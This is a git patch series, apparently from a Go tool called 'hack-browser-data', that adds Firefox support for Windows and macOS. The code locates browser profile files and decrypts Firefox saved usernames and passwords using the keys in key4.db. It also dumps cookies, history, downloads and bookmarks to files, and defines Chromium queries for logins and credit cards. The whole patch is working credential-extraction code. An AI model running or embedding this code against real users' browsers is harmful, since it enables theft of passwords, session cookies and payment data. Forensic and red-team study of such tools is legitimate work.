+ // // // TODO: Handle read file name error
+ // // sourceFile, err := ioutil.ReadFile(sourcePath)
+ // // if err != nil {
+ // // fmt.Println(err.Error())
+ // // }
+ // // err = ioutil.WriteFile(dstFilename, sourceFile, 0777)
+ // // if err != nil {
+ // // return err
+ // // }
+ // }
+ // return nil
+}
+
+func firefoxWalkFunc(items []item, multiItemPaths map[string]map[item]string) filepath.WalkFunc {
+ return func(path string, info fs.FileInfo, err error) error {
+ for _, v := range items {
+ if info.Name() == v.DefaultName() {
+ parentDir := getParentDir(path)
+ if _, exist := multiItemPaths[parentDir]; exist {
+ multiItemPaths[parentDir][v] = path
+ } else {
+ multiItemPaths[parentDir] = map[item]string{v: path}
+ }
+ }
+ }
+ return err
+ }
+}
+
+func getParentDir(absPath string) string {
+ return filepath.Base(filepath.Dir(absPath))
}
func chromiumWalkFunc(items []item, itemPaths map[item]string) filepath.WalkFunc {
@@ -82,12 +232,11 @@ func chromiumWalkFunc(items []item, itemPaths map[item]string) filepath.WalkFunc
}
}
-func (c *chromium) walkItemAbsPath() error {
+func getChromiumItemAbsPath(profilePath string, items []item) (map[item]string, error) {
var itemPaths = make(map[item]string)
- absProfilePath := path.Join(homeDir, filepath.Clean(c.browserInfo.profilePath))
- err := filepath.Walk(absProfilePath, chromiumWalkFunc(defaultChromiumItems, itemPaths))
- c.itemPaths = itemPaths
- return err
+ absProfilePath := path.Join(homeDir, filepath.Clean(profilePath))
+ err := filepath.Walk(absProfilePath, chromiumWalkFunc(items, itemPaths))
+ return itemPaths, err
}
func (c *chromium) copyItemFileToLocal() error {
@@ -128,18 +277,50 @@ func (c *chromium) GetBrowsingData() []data.BrowsingData {
return browsingData
}
+func (f *firefox) GetMasterKey() ([]byte, error) {
+ return f.browserInfo.masterKey, nil
+}
+
+func (f *firefox) GetBrowserName() string {
+ return f.browserInfo.name
+}
+
+func (f *firefox) GetBrowsingData() []data.BrowsingData {
+ var browsingData []data.BrowsingData
+ for item := range f.itemPaths {
+ d := item.NewBrowsingData()
+ if d != nil {
+ browsingData = append(browsingData, d)
+ }
+ }
+ return browsingData
+}
+
type browserInfo struct {
name string
storage string
profilePath string
- masterKey string
+ masterKey []byte
}
const (
- chromeName = "Chrome"
- edgeName = "Edge"
+ chromeName = "Chrome"
+ edgeName = "Edge"
+ firefoxName = "Firefox"
)
+var defaultFirefoxItems = []item{
+ firefoxKey4,
+ firefoxPassword,
+ firefoxCookie,
+ firefoxBookmark,
+ firefoxHistory,
+ firefoxDownload,
+ firefoxCreditCard,
+ firefoxLocalStorage,
+ firefoxExtension,
+}
+
var defaultChromiumItems = []item{
chromiumKey,
chromiumPassword,
@@ -147,7 +328,7 @@ var defaultChromiumItems = []item{
chromiumBookmark,
chromiumHistory,
chromiumDownload,
- chromiumCreditcard,
+ chromiumCreditCard,
chromiumLocalStorage,
chromiumExtension,
}
diff --git a/pkg/browser/browser_darwin.go b/pkg/browser/browser_darwin.go
index 98f1d43..0b0177d 100644
--- a/pkg/browser/browser_darwin.go
+++ b/pkg/browser/browser_darwin.go
@@ -10,21 +10,30 @@ import (
)
var (
- browserList = map[string]struct {
+ chromiumList = map[string]struct {
browserInfo *browserInfo
items []item
- New func(browser *browserInfo, items []item) *chromium
+ // New func(browser *browserInfo, items []item) *firefox
}{
"chrome": {
browserInfo: chromeInfo,
items: defaultChromiumItems,
- New: newBrowser,
+ // New: newBrowser,
+ },
+ "edge": {
+ browserInfo: edgeInfo,
+ items: defaultChromiumItems,
+ // New: newBrowser,
+ },
+ }
+ firefoxList = map[string]struct {
+ browserInfo *browserInfo
+ items []item
+ }{
+ "firefox": {
+ browserInfo: firefoxInfo,
+ items: defaultFirefoxItems,
},
- // "edge": {
- // browserInfo: edgeInfo,
- // items: defaultChromiumItems,
- // New: newBrowser,
- // },
}
)
@@ -56,9 +65,8 @@ func (c *chromium) GetMasterKey() ([]byte, error) {
var chromeSalt = []byte("saltysalt")
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New)
- c.masterKey = key
- return c.masterKey, nil
-
+ c.browserInfo.masterKey = key
+ return c.browserInfo.masterKey, nil
}
var (
@@ -72,6 +80,10 @@ var (
storage: edgeStorageName,
profilePath: edgeProfilePath,
}
+ firefoxInfo = &browserInfo{
+ name: firefoxName,
+ profilePath: fireFoxProfilePath,
+ }
)
const (
diff --git a/pkg/browser/browser_test.go b/pkg/browser/browser_test.go
index c92e574..d5f9525 100644
--- a/pkg/browser/browser_test.go
+++ b/pkg/browser/browser_test.go
@@ -7,8 +7,8 @@ import (
"hack-browser-data/pkg/browser/outputter"
)
-func TestPickBrowsers(t *testing.T) {
- browsers := PickBrowsers("all")
+func TestPickChromium(t *testing.T) {
+ browsers := PickChromium("all")
filetype := "json"
dir := "result"
output := outputter.NewOutPutter(filetype)
@@ -16,9 +16,6 @@ func TestPickBrowsers(t *testing.T) {
panic(err)
}
for _, b := range browsers {
- if err := b.walkItemAbsPath(); err != nil {
- panic(err)
- }
fmt.Printf("%+v\n", b)
if err := b.copyItemFileToLocal(); err != nil {
panic(err)
@@ -29,6 +26,7 @@ func TestPickBrowsers(t *testing.T) {
}
browserName := b.GetBrowserName()
multiData := b.GetBrowsingData()
+ // TODO: 优化获取 Data 逻辑
for _, data := range multiData {
if data == nil {
fmt.Println(data)
@@ -48,3 +46,39 @@ func TestPickBrowsers(t *testing.T) {
}
}
}
+
+func TestPickFirefox(t *testing.T) {
+ browsers := PickFirefox("all")
+ filetype := "json"
+ dir := "result"
+ output := outputter.NewOutPutter(filetype)
+ if err := output.MakeDir("result"); err != nil {
+ panic(err)
+ }
+ for _, b := range browsers {
+ fmt.Printf("%+v\n", b)
+ if err := b.copyItemFileToLocal(); err != nil {
+ panic(err)
+ }
+ masterKey, err := b.GetMasterKey()
+ if err != nil {
+ fmt.Println(err)
+ }
+ browserName := b.GetBrowserName()
+ multiData := b.GetBrowsingData()
+ // TODO: 优化获取 Data 逻辑
+ for _, data := range multiData {
+ if err := data.Parse(masterKey); err != nil {
+ fmt.Println(err)
+ }
+ filename := fmt.Sprintf("%s_%s.%s", browserName, data.Name(), filetype)
+ file, err := output.CreateFile(dir, filename)
+ if err != nil {
+ panic(err)
+ }
+ if err := output.Write(data, file); err != nil {
+ panic(err)
+ }
+ }
+ }
+}
diff --git a/pkg/browser/consts/filename.go b/pkg/browser/consts/filename.go
index e193d8a..2f2f35d 100644
--- a/pkg/browser/consts/filename.go
+++ b/pkg/browser/consts/filename.go
@@ -14,10 +14,13 @@ const (
YandexPassword = "Ya PassMan Data"
YandexCredit = "Ya Credit Cards"
- FirefoxKey = "key4.db"
- FirefoxCookie = "cookies.sqlite"
- FirefoxLogin = "logins.json"
- FirefoxData = "places.sqlite"
+ FirefoxKey4 = "key4.db"
+ FirefoxCookie = "cookies.sqlite"
+ FirefoxPassword = "logins.json"
+ FirefoxData = "places.sqlite"
+
+ UnknownItem = "unknown item"
+ UnSupportItem = "unsupport item"
)
// item's renamed filename
@@ -34,10 +37,11 @@ const (
YandexPasswordFilename = "YandexPasswordFilename"
YandexCreditFilename = "YandexCreditFilename"
- // TODO: add all firefox's filename
-
- FirefoxKey4DBFilename = "FirefoxKey4DBFilename"
- FirefoxCookieFilename = "FirefoxCookieFilename"
- FirefoxLoginFilename = "FirefoxLoginFilename"
- FirefoxDataFilename = "FirefoxDataFilename"
+ FirefoxKey4Filename = "FirefoxKey4DBFilename"
+ FirefoxCookieFilename = "FirefoxCookieFilename"
+ FirefoxPasswordFilename = "FirefoxPasswordFilename"
+ FirefoxDownloadFilename = "FirefoxDownloadFilename"
+ FirefoxHistoryFilename = "FirefoxHistoryFilename"
+ FirefoxBookmarkFilename = "FirefoxBookmarkFilename"
+ FirefoxDataFilename = "FirefoxDataFilename"
)
diff --git a/pkg/browser/data/bookmark.go b/pkg/browser/data/bookmark.go
index 1cc517d..9de9411 100644
--- a/pkg/browser/data/bookmark.go
+++ b/pkg/browser/data/bookmark.go
@@ -1,6 +1,8 @@
package data
import (
+ "database/sql"
+ "fmt"
"sort"
"github.com/tidwall/gjson"
@@ -62,3 +64,49 @@ func getBookmarkChildren(value gjson.Result, w *ChromiumBookmark) (children gjso
func (c *ChromiumBookmark) Name() string {
return "bookmark"
}
+
+type FirefoxBookmark []bookmark
+
+func (f *FirefoxBookmark) Parse(masterKey []byte) error {
+ var (
+ err error
+ keyDB *sql.DB
+ bookmarkRows *sql.Rows
+ )
+ keyDB, err = sql.Open("sqlite3", consts.FirefoxBookmarkFilename)
+ if err != nil {
+ return err
+ }
+ _, err = keyDB.Exec(closeJournalMode)
+ defer keyDB.Close()
+
+ bookmarkRows, err = keyDB.Query(queryFirefoxBookMark)
+ if err != nil {
+ return err
+ }
+ defer bookmarkRows.Close()
+ for bookmarkRows.Next() {
+ var (
+ id, bType, dateAdded int64
+ title, url string
+ )
+ if err = bookmarkRows.Scan(&id, &url, &bType, &dateAdded, &title); err != nil {
+ fmt.Println(err)
+ }
+ *f = append(*f, bookmark{
+ ID: id,
+ Name: title,
+ Type: utils.BookMarkType(bType),
+ URL: url,
+ DateAdded: utils.TimeStampFormat(dateAdded / 1000000),
+ })
+ }
+ sort.Slice(*f, func(i, j int) bool {
+ return (*f)[i].DateAdded.After((*f)[j].DateAdded)
+ })
+ return nil
+}
+
+func (f *FirefoxBookmark) Name() string {
+ return "bookmark"
+}
diff --git a/pkg/browser/data/browsingdata.go b/pkg/browser/data/browsingdata.go
index 1e4250c..b5586ef 100644
--- a/pkg/browser/data/browsingdata.go
+++ b/pkg/browser/data/browsingdata.go
@@ -1,7 +1,76 @@
package data
+import "time"
+
type BrowsingData interface {
Parse(masterKey []byte) error
Name() string
}
+
+const (
+ queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards`
+ queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
+ queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
+ queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads`
+ queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
+ queryFirefoxHistory = `SELECT id, url, last_visit_date, title, visit_count FROM moz_places where title not null`
+ queryFirefoxDownload = `SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id`
+ queryFirefoxBookMark = `SELECT id, url, type, dateAdded, title FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)`
+ queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies`
+ queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
+ queryNssPrivate = `SELECT a11, a102 from nssPrivate`
+ closeJournalMode = `PRAGMA journal_mode=off`
+)
+
+type (
+ loginData struct {
+ UserName string
+ encryptPass []byte
+ encryptUser []byte
+ Password string
+ LoginUrl string
+ CreateDate time.Time
+ }
+ bookmark struct {
+ ID int64
+ Name string
+ Type string
+ URL string
+ DateAdded time.Time
+ }
+ cookie struct {
+ Host string
+ Path string
+ KeyName string
+ encryptValue []byte
+ Value string
+ IsSecure bool
+ IsHTTPOnly bool
+ HasExpire bool
+ IsPersistent bool
+ CreateDate time.Time
+ ExpireDate time.Time
+ }
+ history struct {
+ Title string
+ Url string
+ VisitCount int
+ LastVisitTime time.Time
+ }
+ download struct {
+ TargetPath string
+ Url string
+ TotalBytes int64
+ StartTime time.Time
+ EndTime time.Time
+ MimeType string
+ }
+ card struct {
+ GUID string
+ Name string
+ ExpirationYear string
+ ExpirationMonth string
+ CardNumber string
+ }
+)
diff --git a/pkg/browser/data/cookie.go b/pkg/browser/data/cookie.go
index d01e411..4e528db 100644
--- a/pkg/browser/data/cookie.go
+++ b/pkg/browser/data/cookie.go
@@ -8,6 +8,8 @@ import (
"hack-browser-data/pkg/browser/consts"
"hack-browser-data/pkg/decrypter"
"hack-browser-data/utils"
+
+ _ "github.com/mattn/go-sqlite3"
)
type ChromiumCookie []cookie
@@ -72,3 +74,43 @@ func (c *ChromiumCookie) Parse(masterKey []byte) error {
func (c *ChromiumCookie) Name() string {
return "cookie"
}
+
+type FirefoxCookie []cookie
+
+func (f *FirefoxCookie) Parse(masterKey []byte) error {
+ cookieDB, err := sql.Open("sqlite3", consts.FirefoxCookieFilename)
+ if err != nil {
+ return err
+ }
+ defer cookieDB.Close()
+ rows, err := cookieDB.Query(queryFirefoxCookie)
+ if err != nil {
+ return err
+ }
+ defer rows.Close()
+ for rows.Next() {
+ var (
+ name, value, host, path string
+ isSecure, isHttpOnly int
+ creationTime, expiry int64
+ )
+ if err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHttpOnly); err != nil {
+ fmt.Println(err)
+ }
+ *f = append(*f, cookie{
+ KeyName: name,
+ Host: host,
+ Path: path,
+ IsSecure: utils.IntToBool(isSecure),
+ IsHTTPOnly: utils.IntToBool(isHttpOnly),
+ CreateDate: utils.TimeStampFormat(creationTime / 1000000),
+ ExpireDate: utils.TimeStampFormat(expiry),
+ Value: value,
+ })
+ }
+ return nil
+}
+
+func (f *FirefoxCookie) Name() string {
+ return "cookie"
+}
diff --git a/pkg/browser/data/creditcard.go b/pkg/browser/data/creditcard.go
index 8f356f3..da078d4 100644
--- a/pkg/browser/data/creditcard.go
+++ b/pkg/browser/data/creditcard.go
@@ -6,6 +6,8 @@ import (
"hack-browser-data/pkg/browser/consts"
"hack-browser-data/pkg/decrypter"
+
+ _ "github.com/mattn/go-sqlite3"
)
type ChromiumCreditCard []card
diff --git a/pkg/browser/data/download.go b/pkg/browser/data/download.go
index 6da51dc..c4546d7 100644
--- a/pkg/browser/data/download.go
+++ b/pkg/browser/data/download.go
@@ -4,9 +4,14 @@ import (
"database/sql"
"fmt"
"sort"
+ "strings"
+
+ "github.com/tidwall/gjson"
"hack-browser-data/pkg/browser/consts"
"hack-browser-data/utils"
+
+ _ "github.com/mattn/go-sqlite3"
)
type ChromiumDownload []download
@@ -49,3 +54,58 @@ func (c *ChromiumDownload) Parse(masterKey []byte) error {
func (c *ChromiumDownload) Name() string {
return "download"
}
+
+type FirefoxDownload []download
+
+func (f *FirefoxDownload) Parse(masterKey []byte) error {
+ var (
+ err error
+ keyDB *sql.DB
+ downloadRows *sql.Rows
+ )
+ keyDB, err = sql.Open("sqlite3", consts.FirefoxDownloadFilename)
+ if err != nil {
+ return err
+ }
+ _, err = keyDB.Exec(closeJournalMode)
+ if err != nil {
+ return err
+ }
+ defer keyDB.Close()
+ downloadRows, err = keyDB.Query(queryFirefoxDownload)
+ if err != nil {
+ return err
+ }
+ defer downloadRows.Close()
+ for downloadRows.Next() {
+ var (
+ content, url string
+ placeID, dateAdded int64
+ )
+ if err = downloadRows.Scan(&placeID, &content, &url, &dateAdded); err != nil {
+ fmt.Println(err)
+ }
+ contentList := strings.Split(content, ",{")
+ if len(contentList) > 1 {
+ path := contentList[0]
+ json := "{" + contentList[1]
+ endTime := gjson.Get(json, "endTime")
+ fileSize := gjson.Get(json, "fileSize")
+ *f = append(*f, download{
+ TargetPath: path,
+ Url: url,
+ TotalBytes: fileSize.Int(),
+ StartTime: utils.TimeStampFormat(dateAdded / 1000000),
+ EndTime: utils.TimeStampFormat(endTime.Int() / 1000),
+ })
+ }
+ }
+ sort.Slice(*f, func(i, j int) bool {
+ return (*f)[i].TotalBytes < (*f)[j].TotalBytes
+ })
+ return nil
+}
+
+func (f *FirefoxDownload) Name() string {
+ return "download"
+}
diff --git a/pkg/browser/data/history.go b/pkg/browser/data/history.go
index da38a39..5450f79 100644
--- a/pkg/browser/data/history.go
+++ b/pkg/browser/data/history.go
@@ -7,6 +7,8 @@ import (
"hack-browser-data/pkg/browser/consts"
"hack-browser-data/utils"
+
+ _ "github.com/mattn/go-sqlite3"
)
type ChromiumHistory []history
@@ -49,3 +51,51 @@ func (c *ChromiumHistory) Parse(masterKey []byte) error {
func (c *ChromiumHistory) Name() string {
return "history"
}
+
+type FirefoxHistory []history
+
+func (f *FirefoxHistory) Parse(masterKey []byte) error {
+ var (
+ err error
+ keyDB *sql.DB
+ historyRows *sql.Rows
+ )
+ keyDB, err = sql.Open("sqlite3", consts.FirefoxHistoryFilename)
+ if err != nil {
+ return err
+ }
+ _, err = keyDB.Exec(closeJournalMode)
+ if err != nil {
+ return err
+ }
+ defer keyDB.Close()
+ historyRows, err = keyDB.Query(queryFirefoxHistory)
+ if err != nil {
+ return err
+ }
+ defer historyRows.Close()
+ for historyRows.Next() {
+ var (
+ id, visitDate int64
+ url, title string
+ visitCount int
+ )
+ if err = historyRows.Scan(&id, &url, &visitDate, &title, &visitCount); err != nil {
+ fmt.Println(err)
+ }
+ *f = append(*f, history{
+ Title: title,
+ Url: url,
+ VisitCount: visitCount,
+ LastVisitTime: utils.TimeStampFormat(visitDate / 1000000),
+ })
+ }
+ sort.Slice(*f, func(i, j int) bool {
+ return (*f)[i].VisitCount < (*f)[j].VisitCount
+ })
+ return nil
+}
+
+func (f *FirefoxHistory) Name() string {
+ return "history"
+}
diff --git a/pkg/browser/data/model.go b/pkg/browser/data/model.go
deleted file mode 100644
index 103eba3..0000000
--- a/pkg/browser/data/model.go
+++ /dev/null
@@ -1,72 +0,0 @@
-package data
-
-import (
- "time"
-)
-
-const (
- queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards`
- queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
- queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
- queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads`
- queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
- queryFirefoxHistory = `SELECT id, url, last_visit_date, title, visit_count FROM moz_places where title not null`
- queryFirefoxDownload = `SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id`
- queryFirefoxBookMark = `SELECT id, url, type, dateAdded, title FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)`
- queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies`
- queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
- queryNssPrivate = `SELECT a11, a102 from nssPrivate`
- closeJournalMode = `PRAGMA journal_mode=off`
-)
-
-type (
- loginData struct {
- UserName string
- encryptPass []byte
- encryptUser []byte
- Password string
- LoginUrl string
- CreateDate time.Time
- }
- bookmark struct {
- ID int64
- Name string
- Type string
- URL string
- DateAdded time.Time
- }
- cookie struct {
- Host string
- Path string
- KeyName string
- encryptValue []byte
- Value string
- IsSecure bool
- IsHTTPOnly bool
- HasExpire bool
- IsPersistent bool
- CreateDate time.Time
- ExpireDate time.Time
- }
- history struct {
- Title string
- Url string
- VisitCount int
- LastVisitTime time.Time
- }
- download struct {
- TargetPath string
- Url string
- TotalBytes int64
- StartTime time.Time
- EndTime time.Time
- MimeType string
- }
- card struct {
- GUID string
- Name string
- ExpirationYear string
- ExpirationMonth string
- CardNumber string
- }
-)
diff --git a/pkg/browser/data/password.go b/pkg/browser/data/password.go
index 4526fd4..351b4ea 100644
--- a/pkg/browser/data/password.go
+++ b/pkg/browser/data/password.go
@@ -1,8 +1,11 @@
package data
import (
+ "bytes"
"database/sql"
+ "encoding/base64"
"fmt"
+ "io/ioutil"
"sort"
"time"
@@ -11,6 +14,7 @@ import (
"hack-browser-data/utils"
_ "github.com/mattn/go-sqlite3"
+ "github.com/tidwall/gjson"
)
type ChromiumPassword []loginData
@@ -73,9 +77,122 @@ func (c *ChromiumPassword) Name() string {
return "password"
}
-type firefoxPassword struct {
-}
+type FirefoxPassword []loginData
-func (c *firefoxPassword) Parse(masterKey []byte) error {
+func (f *FirefoxPassword) Parse(masterKey []byte) error {
+ globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey(consts.FirefoxKey4Filename)
+ if err != nil {
+ return err
+ }
+ metaPBE, err := decrypter.NewASN1PBE(metaBytes)
+ if err != nil {
+ return err
+ }
+
+ k, err := metaPBE.Decrypt(globalSalt, masterKey)
+ if err != nil {
+ return err
+ }
+ keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}
+ if bytes.Contains(k, []byte("password-check")) {
+ m := bytes.Compare(nssA102, keyLin)
+ if m == 0 {
+ nssPBE, err := decrypter.NewASN1PBE(nssA11)
+ if err != nil {
+ return err
+ }
+ finallyKey, err := nssPBE.Decrypt(globalSalt, masterKey)
+ finallyKey = finallyKey[:24]
+ if err != nil {
+ return err
+ }
+ allLogin, err := getFirefoxLoginData(consts.FirefoxPasswordFilename)
+ if err != nil {
+ return err
+ }
+ for _, v := range allLogin {
+ userPBE, err := decrypter.NewASN1PBE(v.encryptUser)
+ if err != nil {
+ return err
+ }
+ pwdPBE, err := decrypter.NewASN1PBE(v.encryptPass)
+ if err != nil {
+ return err
+ }
+ user, err := userPBE.Decrypt(finallyKey, masterKey)
+ if err != nil {
+ return err
+ }
+ pwd, err := pwdPBE.Decrypt(finallyKey, masterKey)
+ if err != nil {
+ return err
+ }
+ *f = append(*f, loginData{
+ LoginUrl: v.LoginUrl,
+ UserName: string(decrypter.PKCS5UnPadding(user)),
+ Password: string(decrypter.PKCS5UnPadding(pwd)),
+ CreateDate: v.CreateDate,
+ })
+ }
+ }
+ }
+ sort.Slice(*f, func(i, j int) bool {
+ return (*f)[i].CreateDate.After((*f)[j].CreateDate)
+ })
return nil
}
+
+func (f *FirefoxPassword) Name() string {
+ return "password"
+}
+
+func getFirefoxDecryptKey(key4file string) (item1, item2, a11, a102 []byte, err error) {
+ var (
+ keyDB *sql.DB
+ )
+ keyDB, err = sql.Open("sqlite3", key4file)
+ if err != nil {
+ return nil, nil, nil, nil, err
+ }
+ defer keyDB.Close()
+
+ if err = keyDB.QueryRow(queryMetaData).Scan(&item1, &item2); err != nil {
+ return nil, nil, nil, nil, err
+ }
+
+ if err = keyDB.QueryRow(queryNssPrivate).Scan(&a11, &a102); err != nil {
+ return nil, nil, nil, nil, err
+ }
+ return item1, item2, a11, a102, nil
+}
+
+func getFirefoxLoginData(loginJson string) (l []loginData, err error) {
+ s, err := ioutil.ReadFile(loginJson)
+ if err != nil {
+ return nil, err
+ }
+ h := gjson.GetBytes(s, "logins")
+ if h.Exists() {
+ for _, v := range h.Array() {
+ var (
+ m loginData
+ user []byte
+ pass []byte
+ )
+ m.LoginUrl = v.Get("formSubmitURL").String()
+ user, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String())
+ if err != nil {
+ return nil, err
+ }
+ pass, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String())
+ if err != nil {
+ return nil, err
+ }
+ m.encryptUser = user
+ m.encryptPass = pass
+ m.CreateDate = utils.TimeStampFormat(v.Get("timeCreated").Int() / 1000)
+ l = append(l, m)
+ }
+ }
+ return l, nil
+}
diff --git a/pkg/browser/item.go b/pkg/browser/item.go
index 99450dc..745ecce 100644
--- a/pkg/browser/item.go
+++ b/pkg/browser/item.go
@@ -14,17 +14,20 @@ const (
chromiumBookmark
chromiumHistory
chromiumDownload
- chromiumCreditcard
+ chromiumCreditCard
chromiumLocalStorage
chromiumExtension
+ yandexPassword
+ yandexCreditCard
+
firefoxKey4
firefoxPassword
firefoxCookie
firefoxBookmark
firefoxHistory
firefoxDownload
- firefoxCreditcard
+ firefoxCreditCard
firefoxLocalStorage
firefoxExtension
)
@@ -43,18 +46,36 @@ func (i item) DefaultName() string {
return consts.ChromiumDownload
case chromiumLocalStorage:
return consts.ChromiumLocalStorage
- case chromiumCreditcard:
+ case chromiumCreditCard:
return consts.ChromiumCredit
case chromiumExtension:
- return "unsupport item"
+ return consts.UnknownItem
case chromiumHistory:
return consts.ChromiumHistory
+ case yandexPassword:
+ return consts.YandexPassword
+ case yandexCreditCard:
+ return consts.YandexCredit
+ case firefoxKey4:
+ return consts.FirefoxKey4
case firefoxPassword:
- return consts.FirefoxLogin
+ return consts.FirefoxPassword
case firefoxCookie:
+ return consts.FirefoxCookie
+ case firefoxBookmark:
return consts.FirefoxData
+ case firefoxDownload:
+ return consts.FirefoxData
+ case firefoxLocalStorage:
+ return consts.UnSupportItem
+ case firefoxCreditCard:
+ return consts.UnSupportItem
+ case firefoxHistory:
+ return consts.FirefoxData
+ case firefoxExtension:
+ return consts.UnSupportItem
default:
- return "unknown item"
+ return consts.UnknownItem
}
}
@@ -72,18 +93,32 @@ func (i item) FileName() string {
return consts.ChromiumDownloadFilename
case chromiumLocalStorage:
return consts.ChromiumLocalStorageFilename
- case chromiumCreditcard:
+ case chromiumCreditCard:
return consts.ChromiumCreditFilename
- case chromiumExtension:
- return "unsupport item"
case chromiumHistory:
return consts.ChromiumHistoryFilename
+ case chromiumExtension:
+ return consts.UnSupportItem
+ case firefoxKey4:
+ return consts.FirefoxKey4Filename
case firefoxPassword:
- return consts.FirefoxLoginFilename
+ return consts.FirefoxPasswordFilename
case firefoxCookie:
- return consts.FirefoxDataFilename
+ return consts.FirefoxCookieFilename
+ case firefoxBookmark:
+ return consts.FirefoxBookmarkFilename
+ case firefoxDownload:
+ return consts.FirefoxDownloadFilename
+ case firefoxLocalStorage:
+ return consts.UnSupportItem
+ case firefoxCreditCard:
+ return consts.UnSupportItem
+ case firefoxHistory:
+ return consts.FirefoxHistoryFilename
+ case firefoxExtension:
+ return consts.UnSupportItem
default:
- return "unknown item"
+ return consts.UnknownItem
}
}
@@ -101,16 +136,22 @@ func (i item) NewBrowsingData() data.BrowsingData {
return &data.ChromiumDownload{}
case chromiumLocalStorage:
return nil
- case chromiumCreditcard:
+ case chromiumCreditCard:
return &data.ChromiumCreditCard{}
case chromiumExtension:
return nil
case chromiumHistory:
return &data.ChromiumHistory{}
case firefoxPassword:
- return nil
+ return &data.FirefoxPassword{}
case firefoxCookie:
- return nil
+ return &data.FirefoxCookie{}
+ case firefoxBookmark:
+ return &data.FirefoxBookmark{}
+ case firefoxDownload:
+ return &data.FirefoxDownload{}
+ case firefoxHistory:
+ return &data.FirefoxHistory{}
default:
return nil
}
From 4d444891abe76e3a5c7350ad06a709f46bb98f01 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Sun, 16 Jan 2022 22:31:51 +0800
Subject: [PATCH 09/33] feat-dev: support firefox for windows and macos
---
.gitignore | 4 +
cmd/cmd.go | 186 +++++++++++++++++--------
cmd/hackbrowserdata/main.go | 1 -
core/data/output.go | 24 ++--
core/data/parse.go | 2 +-
go.mod | 2 +-
pkg/browser/browser.go | 216 ++++++++++++++---------------
pkg/browser/browser_darwin.go | 11 +-
pkg/browser/browser_linux.go | 1 +
pkg/browser/browser_test.go | 20 ++-
pkg/browser/browser_windows.go | 98 +++++++++++++
pkg/browser/consts/filename.go | 4 +-
pkg/browser/data/bookmark.go | 2 +-
pkg/browser/item.go | 22 ++-
pkg/browser/outputter/outputter.go | 2 -
pkg/decrypter/decrypt_windows.go | 1 +
utils/utils.go | 4 +-
17 files changed, 384 insertions(+), 216 deletions(-)
delete mode 100644 cmd/hackbrowserdata/main.go
create mode 100644 pkg/browser/browser_linux.go
create mode 100644 pkg/browser/browser_windows.go
diff --git a/.gitignore b/.gitignore
index 5ced80a..df9423f 100644
--- a/.gitignore
+++ b/.gitignore
@@ -185,3 +185,7 @@ History
*.sqlite-shm
*.sqlite-wal
+Chromium*
+Firefox*
+result/
+results/
diff --git a/cmd/cmd.go b/cmd/cmd.go
index 1754145..6b06e4a 100644
--- a/cmd/cmd.go
+++ b/cmd/cmd.go
@@ -1,12 +1,13 @@
package cmd
import (
+ "fmt"
"os"
"strings"
- "hack-browser-data/core"
+ "hack-browser-data/pkg/browser"
+ "hack-browser-data/pkg/browser/outputter"
"hack-browser-data/pkg/log"
- "hack-browser-data/utils"
"github.com/urfave/cli/v2"
)
@@ -18,7 +19,6 @@ var (
verbose bool
compress bool
customProfilePath string
- customKeyPath string
)
func Execute() {
@@ -30,16 +30,15 @@ func Execute() {
Flags: []cli.Flag{
&cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "verbose"},
&cli.BoolFlag{Name: "compress", Aliases: []string{"cc"}, Destination: &compress, Value: false, Usage: "compress result to zip"},
- &cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browserName, Value: "all", Usage: "available browsers: all|" + strings.Join(core.ListBrowser(), "|")},
+ &cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browserName, Value: "all", Usage: "available browsers: all|" + strings.Join(browser.ListBrowser(), "|")},
&cli.StringFlag{Name: "results-dir", Aliases: []string{"dir"}, Destination: &exportDir, Value: "results", Usage: "export dir"},
&cli.StringFlag{Name: "format", Aliases: []string{"f"}, Destination: &outputFormat, Value: "csv", Usage: "format, csv|json|console"},
&cli.StringFlag{Name: "profile-dir-path", Aliases: []string{"p"}, Destination: &customProfilePath, Value: "", Usage: "custom profile dir path, get with chrome://version"},
